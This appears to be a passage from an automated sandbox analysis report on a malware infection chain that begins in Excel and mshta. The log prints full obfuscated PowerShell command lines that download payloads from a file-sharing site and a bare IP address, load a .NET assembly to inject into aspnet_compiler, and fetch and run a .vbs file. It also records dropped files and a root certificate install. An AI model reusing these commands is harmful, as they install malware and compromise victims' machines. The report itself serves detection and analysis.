Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdzZVlpbWFnZVUnKydybCA9IFB1SWh0JysndHBzJysnOicrJy8vMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbCcrJ2UvZ2V0P2ZpbGVrZXk9MkFhX2JXbzlSZXU0NXQ3QlUxa1Znc2Q5cFQ5cGdTU2x2U3QnKydHcm5USUNmRmhtVEtqM0xDNlNRdEljT2NfVDM1dyZwa192aWQ9ZmQ0ZjYxNGJiMjA5YzYyYzE3MzA5NDUxNzZhMDkwNGYgUHVJO3NlWXdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XJysnZWJDbGllbnQ7c2VZaW1hZ2VCeXRlcyA9IHNlWXdlYkNsaWVuJysndC5Eb3dubG9hZERhdGEoc2VZaW1hZ2VVcmwpO3NlWWltYWcnKydlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKHNlWWltYWdlQnl0JysnZXMpO3NlWXN0YXJ0RmxhZyA9IFB1STw8QkFTRTY0XycrJ1NUQVJUPj5QdUk7c2VZZW5kRicrJ2xhZyA9IFB1SScrJzw8QkFTRTY0X0VORD4+UHVJO3NlWXN0YXJ0SW5kZXggPSBzZVlpbWFnZVRleHQuSW5kZXhPZignKydzZVlzdGFydEZsYWcpO3NlWWVuZCcrJ0luZGV4ID0gc2VZaW1hZ2VUZXh0LkluZGV4T2Yoc2VZZW5kRmxhZyk7cycrJ2VZc3RhcnRJbmRleCAtZ2UgMCAtYW5kIHNlWWVuZEluZGV4IC1ndCBzZVlzdGFydEluZGV4O3MnKydlWXN0YXJ0SW5kZXggKz0gc2VZc3RhcnRGbGFnLkxlbmd0aDtzZVliYXNlNjRMZW5ndGggPSBzZVllbmRJbmRleCAtIHNlWXN0YXJ0SW5kZXg7c2VZYmFzZTY0Q29tbWFuZCA9JysnIHNlJysnWWltYWcnKydlVCcrJ2V4dC5TdWJzdHJpbmcoc2VZc3RhcnRJbmRleCwnKycgc2VZYmFzZTY0TGVuZ3RoKTtzZVliYXNlNjRSZXZlcnNlZCA9IC1qb2luIChzZVliYXNlNjRDb21tYW5kJysnLlRvQ2hhckFycmF5KCkgMnBPIEZvckUnKydhY2gtT2JqZWN0IHsgc2VZXyB9KVstMS4uLShzZVknKydiYXNlNjRDb21tYW5kLkxlbmd0aCldO3NlWScrJ2NvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQycrJ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJysnc2VZYmFzZTY0UmV2ZXJzZWQpO3NlWScrJ2xvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsJysnZWN0aW9uLkFzc2VtYmx5XScrJzo6TG9hZChzZVljb21tYW5kQnl0ZXMpO3NlWXZhaU1ldGhvZCA9IFsnKydkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoUHVJVkFJUHVJKTtzZVl2YWlNZScrJ3Rob2QuSW52bycrJ2tlKHNlWW51bGwsIEAoUHVJdHh0LlRHUkZGUlcvMzUvODcxLjQ0LjI3MS43MDEvLycrJzpwdHRoUHVJLCBQdUlkZXNhdGl2YWRvUHVJLCBQdUlkJysnZXNhdGl2YWRvUHVJLCBQdScrJ0lkZXNhdGl2YWRvUHVJLCBQdUlhc3BuZXRfY29tcGlsJysnZXJQdUksIFB1SWRlc2F0aXZhZG9QdUksICcrJ1B1SWRlc2F0aXZhZG9QdUksUHVJZGVzYXRpdmFkbycrJ1B1SSxQdUlkZXNhdGl2YWRvUHVJLFB1SWRlc2F0aXZhZG9QdUksUHVJZGVzYXRpdmFkb1B1SSxQdUlkZXNhdGl2YWRvUHVJLFB1STFQdUksUHVJZGVzYXRpdmFkb1B1SSkpOycpLnJFUGxhQ0UoJ1B1SScsW1N0ckluR11bQ0hBUl0zOSkuckVQbGFDRSgnMnBPJywnfCcpLnJFUGxhQ0UoJ3NlWScsJyQnKXwgLiAoKGdWICcqTWRyKicpLm5BbUVbMywxMSwyXS1qT0lOJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('seYimageU'+'rl = PuIht'+'tps'+':'+'//1017.filemail.com/api/fil'+'e/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvSt'+'GrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f PuI;seYwebClient = New-Object System.Net.W'+'ebClient;seYimageBytes = seYwebClien'+'t.DownloadData(seYimageUrl);seYimag'+'eText = [System.Text.Encoding]::UTF8.GetString(seYimageByt'+'es);seYstartFlag = PuI<<BASE64_'+'START>>PuI;seYendF'+'lag = PuI'+'<<BASE64_END>>PuI;seYstartIndex = seYimageText.IndexOf('+'seYstartFlag);seYend'+'Index = seYimageText.IndexOf(seYendFlag);s'+'eYstartIndex -ge 0 -and seYendIndex -gt seYstartIndex;s'+'eYstartIndex += seYstartFlag.Length;seYbase64Length = seYendIndex - seYstartIndex;seYbase64Command ='+' se'+'Yimag'+'eT'+'ext.Substring(seYstartIndex,'+' seYbase64Length);seYbase64Reversed = -join (seYbase64Command'+'.ToCharArray() 2pO ForE'+'ach-Object { seY_ })[-1..-(seY'+'base64Command.Length)];seY'+'commandBytes = [System.C'+'onvert]::FromBase64String('+'seYbase64Reversed);seY'+'loadedAssembly = [System.Refl'+'ection.Assembly]'+'::Load(seYcommandBytes);seYvaiMethod = ['+'dnlib.IO.Home].GetMethod(PuIVAIPuI);seYvaiMe'+'thod.Invo'+'ke(seYnull, @(PuItxt.TGRFFRW/35/871.44.271.701//'+':ptthPuI, PuIdesativadoPuI, PuId'+'esativadoPuI, Pu'+'IdesativadoPuI, PuIaspnet_compil'+'erPuI, PuIdesativadoPuI, '+'PuIdesativadoPuI,PuIdesativado'+'PuI,PuIdesativadoPuI,PuIdesativadoPuI,PuIdesativadoPuI,PuIdesativadoPuI,PuI1PuI,PuIdesativadoPuI));').rEPlaCE('PuI',[StrInG][CHAR]39).rEPlaCE('2pO','\|').rEPlaCE('seY','$')\| . ((gV 'Mdr').nAmE[3,11,2]-jOIN'')"	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysTEM32\wiNdoWSPoWeRShElL\V1.0\PoWERsHeLl.EXe" "pOWersheLL -Ex BYPaSs -nop -W 1 -c DeVIcECrEdenTiAldePlOYMEnT.exe ; INvokE-EXPressiON($(INvOkE-ExpressiON('[SystEM.tExt.encoDinG]'+[char]0X3A+[char]58+'UTF8.GetsTRIng([SyStEm.cOnVeRT]'+[ChaR]0X3A+[chaR]58+'frombasE64StRIng('+[chaR]34+'JFhvY0VSN21mYWMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRELXRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVNYmVSZEVGaW5pVElvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxNT04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkbkhyTG8sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgamxXTWh0LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEwsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVEd1JCWENTLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHFFS3ZxKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZHpUayIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZVNQQUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbHhzQnRTTVB2ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYb2NFUjdtZmFjOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3Mi40NC4xNzgvNTMvc2VlbXliZXN0bmV0d29ya3doaWNoZ2l2ZWJlc3R0aGluZ3NlbnRpcmVsaWZld2l0aG1lLnRJRiIsIiRFTnY6QVBQREFUQVxzZWVteWJlc3RuZXR3b3Jrd2hpY2hnaXZlYmVzdHRoaW5nc2VudGlyZWxpZmV3aXRoLnZiUyIsMCwwKTtzVEFydC1zbEVFUCgzKTtJRVggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXHNlZW15YmVzdG5ldHdvcmt3aGljaGdpdmViZXN0dGhpbmdzZW50aXJlbGlmZXdpdGgudmJTIg=='+[chaR]0X22+'))')))"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdzZVlpbWFnZVUnKydybCA9IFB1SWh0JysndHBzJysnOicrJy8vMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbCcrJ2UvZ2V0P2ZpbGVrZXk9MkFhX2JXbzlSZXU0NXQ3QlUxa1Znc2Q5cFQ5cGdTU2x2U3QnKydHcm5USUNmRmhtVEtqM0xDNlNRdEljT2NfVDM1dyZwa192aWQ9ZmQ0ZjYxNGJiMjA5YzYyYzE3MzA5NDUxNzZhMDkwNGYgUHVJO3NlWXdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XJysnZWJDbGllbnQ7c2VZaW1hZ2VCeXRlcyA9IHNlWXdlYkNsaWVuJysndC5Eb3dubG9hZERhdGEoc2VZaW1hZ2VVcmwpO3NlWWltYWcnKydlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKHNlWWltYWdlQnl0JysnZXMpO3NlWXN0YXJ0RmxhZyA9IFB1STw8QkFTRTY0XycrJ1NUQVJUPj5QdUk7c2VZZW5kRicrJ2xhZyA9IFB1SScrJzw8QkFTRTY0X0VORD4+UHVJO3NlWXN0YXJ0SW5kZXggPSBzZVlpbWFnZVRleHQuSW5kZXhPZignKydzZVlzdGFydEZsYWcpO3NlWWVuZCcrJ0luZGV4ID0gc2VZaW1hZ2VUZXh0LkluZGV4T2Yoc2VZZW5kRmxhZyk7cycrJ2VZc3RhcnRJbmRleCAtZ2UgMCAtYW5kIHNlWWVuZEluZGV4IC1ndCBzZVlzdGFydEluZGV4O3MnKydlWXN0YXJ0SW5kZXggKz0gc2VZc3RhcnRGbGFnLkxlbmd0aDtzZVliYXNlNjRMZW5ndGggPSBzZVllbmRJbmRleCAtIHNlWXN0YXJ0SW5kZXg7c2VZYmFzZTY0Q29tbWFuZCA9JysnIHNlJysnWWltYWcnKydlVCcrJ2V4dC5TdWJzdHJpbmcoc2VZc3RhcnRJbmRleCwnKycgc2VZYmFzZTY0TGVuZ3RoKTtzZVliYXNlNjRSZXZlcnNlZCA9IC1qb2luIChzZVliYXNlNjRDb21tYW5kJysnLlRvQ2hhckFycmF5KCkgMnBPIEZvckUnKydhY2gtT2JqZWN0IHsgc2VZXyB9KVstMS4uLShzZVknKydiYXNlNjRDb21tYW5kLkxlbmd0aCldO3NlWScrJ2NvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQycrJ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJysnc2VZYmFzZTY0UmV2ZXJzZWQpO3NlWScrJ2xvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsJysnZWN0aW9uLkFzc2VtYmx5XScrJzo6TG9hZChzZVljb21tYW5kQnl0ZXMpO3NlWXZhaU1ldGhvZCA9IFsnKydkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoUHVJVkFJUHVJKTtzZVl2YWlNZScrJ3Rob2QuSW52bycrJ2tlKHNlWW51bGwsIEAoUHVJdHh0LlRHUkZGUlcvMzUvODcxLjQ0LjI3MS43MDEvLycrJzpwdHRoUHVJLCBQdUlkZXNhdGl2YWRvUHVJLCBQdUlkJysnZXNhdGl2YWRvUHVJLCBQdScrJ0lkZXNhdGl2YWRvUHVJLCBQdUlhc3BuZXRfY29tcGlsJysnZXJQdUksIFB1SWRlc2F0aXZhZG9QdUksICcrJ1B1SWRlc2F0aXZhZG9QdUksUHVJZGVzYXRpdmFkbycrJ1B1SSxQdUlkZXNhdGl2YWRvUHVJLFB1SWRlc2F0aXZhZG9QdUksUHVJZGVzYXRpdmFkb1B1SSxQdUlkZXNhdGl2YWRvUHVJLFB1STFQdUksUHVJZGVzYXRpdmFkb1B1SSkpOycpLnJFUGxhQ0UoJ1B1SScsW1N0ckluR11bQ0hBUl0zOSkuckVQbGFDRSgnMnBPJywnfCcpLnJFUGxhQ0UoJ3NlWScsJyQnKXwgLiAoKGdWICcqTWRyKicpLm5BbUVbMywxMSwyXS1qT0lOJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('seYimageU'+'rl = PuIht'+'tps'+':'+'//1017.filemail.com/api/fil'+'e/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvSt'+'GrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f PuI;seYwebClient = New-Object System.Net.W'+'ebClient;seYimageBytes = seYwebClien'+'t.DownloadData(seYimageUrl);seYimag'+'eText = [System.Text.Encoding]::UTF8.GetString(seYimageByt'+'es);seYstartFlag = PuI<<BASE64_'+'START>>PuI;seYendF'+'lag = PuI'+'<<BASE64_END>>PuI;seYstartIndex = seYimageText.IndexOf('+'seYstartFlag);seYend'+'Index = seYimageText.IndexOf(seYendFlag);s'+'eYstartIndex -ge 0 -and seYendIndex -gt seYstartIndex;s'+'eYstartIndex += seYstartFlag.Length;seYbase64Length = seYendIndex - seYstartIndex;seYbase64Command ='+' se'+'Yimag'+'eT'+'ext.Substring(seYstartIndex,'+' seYbase64Length);seYbase64Reversed = -join (seYbase64Command'+'.ToCharArray() 2pO ForE'+'ach-Object { seY_ })[-1..-(seY'+'base64Command.Length)];seY'+'commandBytes = [System.C'+'onvert]::FromBase64String('+'seYbase64Reversed);seY'+'loadedAssembly = [System.Refl'+'ection.Assembly]'+'::Load(seYcommandBytes);seYvaiMethod = ['+'dnlib.IO.Home].GetMethod(PuIVAIPuI);seYvaiMe'+'thod.Invo'+'ke(seYnull, @(PuItxt.TGRFFRW/35/871.44.271.701//'+':ptthPuI, PuIdesativadoPuI, PuId'+'esativadoPuI, Pu'+'IdesativadoPuI, PuIaspnet_compil'+'erPuI, PuIdesativadoPuI, '+'PuIdesativadoPuI,PuIdesativado'+'PuI,PuIdesativadoPuI,PuIdesativadoPuI,PuIdesativadoPuI,PuIdesativadoPuI,PuI1PuI,PuIdesativadoPuI));').rEPlaCE('PuI',[StrInG][CHAR]39).rEPlaCE('2pO','\|').rEPlaCE('seY','$')\| . ((gV 'Mdr').nAmE[3,11,2]-jOIN'')"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\03wlztsz\03wlztsz.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\mffkkngw\mffkkngw.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\03wlztsz\03wlztsz.cmdline"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\mffkkngw\mffkkngw.cmdline"

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 38_2_00189247 LoadLibraryA,GetProcAddress,VirtualProtect,VirtualProtect,VirtualProtect,

38_2_00189247

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_000007FE899D022D push eax; iretd	6_2_000007FE899D0241
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_000007FE899D00BD pushad ; iretd	6_2_000007FE899D00C1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 30_2_0040134A pushfd ; retf	30_2_00401353
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 30_2_004012F2 pushfd ; retf	30_2_004012F3
Source: C:\Windows\explorer.exe	Code function: 39_2_0006A055 push es; iretd	39_2_0006A05D
Source: C:\Windows\explorer.exe	Code function: 39_2_00061405 push esi; ret	39_2_00061407
Source: C:\Windows\explorer.exe	Code function: 39_2_000647A7 push esp; iretd	39_2_000647A8
Source: C:\Windows\explorer.exe	Code function: 39_2_000614D4 push esi; ret	39_2_000614D6
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 40_2_0008967E push ds; retf	40_2_00089680
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 40_2_000894E6 push edx; ret	40_2_000894E7
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 40_2_000838A7 push esp; iretd	40_2_000838A8
Source: C:\Windows\explorer.exe	Code function: 42_2_00061405 push esi; ret	42_2_00061407
Source: C:\Windows\explorer.exe	Code function: 42_2_000614D4 push esi; ret	42_2_000614D6

Persistence and Installation Behavior

Installs new ROOT certificates

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\03wlztsz\03wlztsz.dll	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\vtjrhji	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\mffkkngw\mffkkngw.dll	Jump to dropped file

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\vtjrhji

Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\explorer.exe

File opened: C:\Users\user\AppData\Roaming\vtjrhji:Zone.Identifier read attributes | delete

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
